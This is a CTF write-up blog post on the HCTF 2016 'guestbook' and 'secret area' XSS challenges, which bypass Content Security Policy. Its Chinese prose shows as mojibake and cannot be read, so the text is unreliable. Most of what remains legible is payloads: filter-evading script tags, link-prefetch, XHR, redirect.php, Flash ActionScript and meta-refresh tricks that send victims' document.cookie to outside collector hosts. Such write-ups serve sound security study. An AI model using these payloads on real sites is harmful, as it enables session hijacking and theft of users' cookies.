LoRexxar's Blog

hctf2016 guestbook&secret area writeup

2016/11/30

杩欐姣旇禌涓撻棬鍑轰簡涓や釜xss棰樼洰锛屽墠娈垫椂闂撮槄璇讳簡鍑犵瘒鍜孋SP鏈夊叧鐨勬枃绔狅紝鏈変簡涓浜涚壒鍒殑鐞嗚В锛屾墍浠ュ氨涓撻棬鍑轰簡2棰

绗竴棰榞uestbook鎬濊矾鏉ヨ嚜浜
http://paper.seebug.org/91/

褰撶劧鎴戣嚜宸变篃鍐欎簡鍒嗘瀽鏂囩珷
http://lorexxar.cn/2016/10/28/csp-then/

婧愮爜
https://github.com/LoRexxar/hctf2016_guestbook

鍑洪鎬濊矾涓昏鏉ヨ嚜浜嶤SP瀵瑰煙鐨勯檺鍒讹紝浣嗘槸娌℃兂鍒扮炕杞︿簡锛屽繕璁颁簡location鐨勯棶棰橈紝瀵艰嚧guestbook鐨勫仛娉曠畝鍗曚簡涓鍊嶅锛屽湪涓旂殑鏃跺欑獊鐒跺彂鐜颁簡鍑犱釜鐗规畩鐨刾ayload锛屽彂鐜伴鐩濊矾鍜屽幓骞寸殑Boston Key Party2015涓竴棰樻濊矾鎺ヨ繎锛屼笉寰椾笉璇达紝鏈鏃╂帴瑙SP灏辨槸鍥犱负BKP锛屼絾褰撴椂鍥犱负姘村钩娴呰杽鎵浠ユ病鑳界悊瑙o紝涓嬮潰闄勪笂鎴戣嚜宸辩殑writeup

棰樼洰:guestbook
鏈缁堝垎鏁帮細226
瀹屾垚闃熶紞锛35

绗簩棰榮ecret area

鍑洪鎬濊矾涓昏鏉ヨ嚜浜
https://chloe.re/2016/07/25/bypassing-paths-with-open-redirects-in-csp/

褰撶劧鎴戣嚜宸变篃鍐欎簡鍒嗘瀽鏂囩珷
http://lorexxar.cn/2016/10/31/csp-then2/

婧愮爜
https://github.com/LoRexxar/hctf2016_secret_area

棰樼洰涓昏鎬濊矾鏄氳繃閲嶅畾鍚戠粫杩嘋SP鐨勭洰褰曢檺鍒讹紝浣嗘槸绔欏姛鑳戒竴澶氫簡闅惧厤灏遍亣鍒颁簡鍚勭闂锛屽凡鐭ユ湁4绉嶈В娉曪紝鍚庨潰浼氳鐨勮缁嗕竴浜

棰樼洰锛歴ecret area
鏈缁堝垎鏁帮細340
瀹屾垚闃熶紞锛16

guestbook

涓婃潵灏辨槸涓涓暀瑷鏉匡紝鐪嬭捣鏉ュ氨鏄痻ss棰樼洰锛岃嚦浜庝笅闈㈢殑md5纰版挒锛屽彧鏄负浜嗗噺灏戞棤鎰忎箟鐨勮姹傦紝宸笉澶氭槸楠岃瘉鐮佺殑鎬ц川锛屾湁浜涗汉鍙兘娌℃帴瑙﹁繃锛岄偅涔堥檮涓婁竴涓鎾炶剼鏈

1
2
3
4
5
6
7
8
9
10
11
12
def crack_code(code):
str = 10000
while 1:
m2 = hashlib.md5()
m2.update(repr(str))
if (m2.hexdigest()[0:4]==code):
return str
break
str+=1
print crack_code('84a3')

宸笉澶4浣嶇殑md5鍙鍑犵灏辫窇鍒颁簡锛屽洖鍒伴鐩棰橈紝浠庝唬鐮佷腑鎴戜滑鍙互鐪嬪埌鍩烘湰鐨勮繃婊

1
2
3
4
5
6
7
8
9
10
11
12
function filter($string)
{
$escape = array('\'','\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$string = preg_replace($safe, 'hacker', $string);
$xsssafe = array('img','script','on','svg','link');
$xsssafe = '/' . implode('|', $xsssafe) . '/i';
return preg_replace($xsssafe, '', $string);
}

鎴戜滑鐪嬪埌鍏跺疄鍙湁寰堝皯鐨勮繃婊わ紝鑰屼笖鏄崟灞傜殑锛屽浜巟ss鏉ヨ锛屽彧闇瑕佸鍐2娆″氨鍙互缁曡繃浜嗭紝绫讳技浜
scrscriptipt杩欐牱銆

鎵浠ュ叾瀹炲叧閿湪浜嶤SP

1
Content-Security-Policy:default-src 'self'; script-src 'self' 'unsafe-inline'; font-src 'self' fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'

涓嶇啛鎮夌殑浜哄彲鑳藉苟涓嶆竻妤氬叾涓殑CSP鏈変粈涔堟牱鐨勯棶棰橈紝璇曡瘯涓婏紝鏁翠釜CSP闄や簡闄愬畾浜嗗煙浠ュ锛屾病鏈夊仛浠讳綍鐨勯檺鍒讹紝鍙互鎵ц浠绘剰鐨刯s锛岃繖涔熷氨瀵艰嚧浜嗕娇鐢ㄤ汉鏁版瘮杈冨鐨勯潪棰勬湡鍋氭硶銆

璺宠浆缁曡繃

1
2
3
4
5
<scrscriptipt>window.open("鈥媓ttp://xxxx:8080/cookie.asp?msg="+document.body鈥)</scrscr iptipt>
<scrscriptipt>window.locatioonn.href%3d"http%3a//www.example.com/xss/write.php%3fdomain%3d"%2bescape(document.cookie)%3b</sscriptcript>
<scrscriptipt>var a=document.createElement("a");a.href='http://xss.com/?cookie='+escape(document.cookie);a.click();</sscriptcript>

涓婇潰鍑犵鎬濊矾绫讳技锛岄氳繃鏋勯犳柊寮椤甸潰鎴栬呰烦杞潵瑙e喅鍩熼檺鍒讹紝鐢变簬js鍙互浠绘剰鏋勯狅紝鎵浠ヨ繖閲屼篃灏遍氳繃鐗瑰埆鐨勬柟寮忕粫杩囦簡鍘熸湰鐨勯檺鍒躲

chrome瀵笴SP鏀寔鐨勪笉瀹屾暣缁曡繃

杩欑涔熷氨鏄垜鍑洪鐨勬湰鎰忥紝浠庢枃绔犱腑鍙互鑾峰緱瀵规紡娲炵殑鏁翠綋浜嗚В锛屼富瑕佹槸2绡

http://paper.seebug.org/91/

褰撶劧鎴戣嚜宸变篃鍐欎簡鍒嗘瀽鏂囩珷
http://lorexxar.cn/2016/10/28/csp-then/

杩欓噷鎴戠殑鍚庡彴bot浣跨敤鐨勪篃姝f槸chrome娴忚鍣紝鐢变簬娴忚鍣ㄥCSP鐗规ф敮鎸佺殑涓嶅畬鏁达紝瀵艰嚧link鏍囩鐨勭櫧鍚嶅崟鐗规у瓨鍦ㄨ法鍩熻姹傜殑鑳藉姏锛屾墍浠ユ瀯閫爌ayload

1
<Scscriptript>var n0t = document.createElement("liscriptnk");n0t.setAttribute("rel", "prefetch");n0t.setAttribute("href", "//xxx:2333/" + document.cookie);document.head.appendChild(n0t);</Scscriptript>

鍚庨潰xss骞冲彴鎴栬卾ps鎺ュ彈涓鍙戞悶瀹

secret area

鎵撳紑椤甸潰鍙戠幇浜嗚亰澶╃増鎬ц川鐨勭珯锛岃繘鍑烘壘涓鎵惧彂鐜版湁杩欎箞鍑犱釜鍔熻兘锛

娉ㄥ唽->鐧婚檰->鍙互淇敼涓汉淇℃伅娌冲ご涔->鍚戜换浣曚汉鐣欒█

绋嶅井娴嬭瘯锛屼笉闅惧彂鐜

1
Content-Security-Policy:default-src 'self'; script-src http://sguestbook.hctf.io/static/ 'sha256-n+kMAVS5Xj7r/dvV9ZxAbEX6uEmK+uen+HZXbLhVsVA=' 'sha256-2zDCsAh4JN1o1lpARla6ieQ5KBrjrGpn0OAjeJ1V9kg=' 'sha256-SQQX1KpZM+ueZs+PyglurgqnV7jC8sJkUMsG9KkaFwQ=' 'sha256-JXk13NkH4FW9/ArNuoVR9yRcBH7qGllqf1g5RnJKUVg=' 'sha256-NL8WDWAX7GSifPUosXlt/TUI6H8JU0JlK7ACpDzRVUc=' 'sha256-CCZL85Vslsr/bWQYD45FX+dc7bTfBxfNmJtlmZYFxH4=' 'sha256-2Y8kG4IxBmLRnD13Ne2JV/V106nMhUqzbbVcOdxUH8I=' 'sha256-euY7jS9jMj42KXiApLBMYPZwZ6o97F7vcN8HjBFLOTQ=' 'sha256-V6Bq3u346wy1l0rOIp59A6RSX5gmAiSK40bp5JNrbnw='; font-src http://sguestbook.hctf.io/static/ fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'

CSP闄愬埗鐨勫煙宸笉澶氱鍚堜互涓嬪嚑涓潯浠:
1銆乻cript娌℃湁寮鍚痷nsafe-inline锛屼篃灏辨槸璇翠笉鍏佽鍐呰仈鑴氭湰
2銆乻cript鍙厑璁竤tatic鐩綍锛屼絾杩欎釜鐩綍涓嬪唴瀹逛笉鍙帶
3銆乻tyle-src寮鍚簡unsafe-inline鑰屼笖鏄痵elf锛堣繖閲屽叾瀹炴槸涓嶅皬蹇冪殑澶辫锛
4銆乨efault-src涓簊elf锛屼篃灏辨槸绔欏唴璇锋眰閮芥槸琚鍙殑

姝hВ

缁煎悎CSP鐨勯檺鍒讹紝鎴戜滑闇瑕佸洖鍘绘兂鎯抽鐩腑缁欑殑鏉′欢锛屾湁鍑犱釜姣旇緝閲嶈鐨勩
1銆乻tatic涓嬩笉瀛樺湪浠讳綍闈為潤鎬佹枃浠讹紝闄や簡redirect.php
2銆乺edirect.php鐨勮烦杞綅缃彲浠ヨ嚜瀹氫箟
3銆佹垜浠笂浼犵殑澶村儚娌℃湁浠讳綍涓婁紶婕忔礊锛屼笂浼犱綅缃槸/upload/

杩欓噷鍏堢粰鍑轰竴绡囨枃绔
http://lorexxar.cn/2016/10/31/csp-then2/

鏍规嵁鏂囩珷锛屾垜浠笉闅惧彂鐜帮紝鐜板湪鎵鏈夌殑鏉′欢閮界鍚堬紝濡傛灉椤虹潃鎬濊矾鍒拌繖閲岋紝寰堝鏄撳氨浼氭兂鍒颁笅涓姝

鏋勯犱笂浼犲浘鍍忎负

1
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://sguestbook.hctf.io/submit.php', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send('to=xxxx&message='+document.cookie); </script>

鐒跺悗鍚慳dmin鍙戦

1
<scscriptript src="http://115.28.78.16:12222/static/redirect.php?u=/upload/cf4b03010ddaafec5933f656fad2692d"></scriscriptpt>

鍓嶉潰姝ラ鐩稿悓锛屾渶鍚庣殑鍩熼檺鍒堕氳繃璺宠浆鏉ョ粫杩

杩欎釜鍏跺疄娌′粈涔堝ソ璇寸殑锛屽叾浠栫殑閮ㄥ垎鐩稿悓锛屽彧鏈夋渶鍚庝竴姝ヤ娇鐢╨ocation鏉ヨ幏寰梒ookie锛宲ayload鍜屼笂棰樼浉鍚岋紝灏变笉璐翠簡銆

绮惧績鏋勯爁lash xss

杩欑鏂瑰紡鏄疊lue-Whale鐨勫笀鍌呮兂鍒扮殑锛屾牴鎹笂闈SP闄愬埗锛屾垜浠緢蹇氨鑳藉彂鐜板叾瀹炲浜庨櫎script浠ュ鐨勯儴鍒嗛兘姣旇緝鍙嬪ソ锛屽彧瑕佸湪鍩熷唴灏卞彲浠ヤ簡锛屽啀鍔犱笂锛屽煙鍐呭瓨鍦ㄤ笂浼犵偣锛岄偅涔堟垜浠槸涓嶆槸鍙互鏋勯犱竴涓Action Script

payload锛屽ご鍍忓涓婁紶

1
2
import flash.external.ExternalInterface;
var ck; ck = ExternalInterface.call('function(){return document.cookie}'); ua = ExternalInterface.call('function(){return navigator.userAgent}'); ExternalInterface.call("$.post","submit.php",'to=qqc&message=document.cookie'+ck+ua); stop();

鐒跺悗鏋勯

1
<embed src="http://sguestbook.hctf.io/upload/4b3097d0fef014bc099fe305fd2cb685" type="applicatioONn/x-shockwave-flash"></embed>

杩欎釜payload鍙娴忚鍣ㄦ湁flash灏卞彲浠ヤ簡

寮哄埗鍒锋柊澶氭璺宠浆

杩欓噷鏈変竴绉嶅湪姣旇禌涓亣鍒扮殑鐗瑰埆鐨刾ayload锛屼娇鐢ㄧ殑婕忔礊鍜屽墠闈㈡彁鍒扮殑鐩稿悓锛屼篃鏄娆¤烦杞鑷寸殑鐩綍缁曡繃锛屼絾鏄壒鍒殑鏄紝浣跨敤浜嗕竴绉嶇壒鍒殑鎵嬫

payload鎴戞病鎵惧埌锛屼絾鏄被浼间簬

1
<META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb24uaHJlZj0iaHR0cDovLzE2My40NC4xNTUuMTc5Ijs8L3NjcmlwdD4=">

涓婇潰搴旇鏄釜閿欒鐨刾ayload锛屼絾鏄湪瀹堟姢鐨勮繃绋嬩腑鐨勭‘瀛樺湪鏈夋晥payload锛屽彧鍙儨娌¤兘璁板綍涓嬫潵銆

鎴戞渶鏃╃湅鍒拌繖涓猵ayload锛屽湪
http://www.tuicool.com/m/articles/77bABnm

CATALOG
  1. 1. guestbook
    1. 1.1. 璺宠浆缁曡繃
    2. 1.2. chrome瀵笴SP鏀寔鐨勪笉瀹屾暣缁曡繃
  2. 2. secret area
    1. 2.1. 姝hВ
    2. 2.2. 鍓嶉潰姝ラ鐩稿悓锛屾渶鍚庣殑鍩熼檺鍒堕氳繃璺宠浆鏉ョ粫杩
    3. 2.3. 绮惧績鏋勯爁lash xss
    4. 2.4. 寮哄埗鍒锋柊澶氭璺宠浆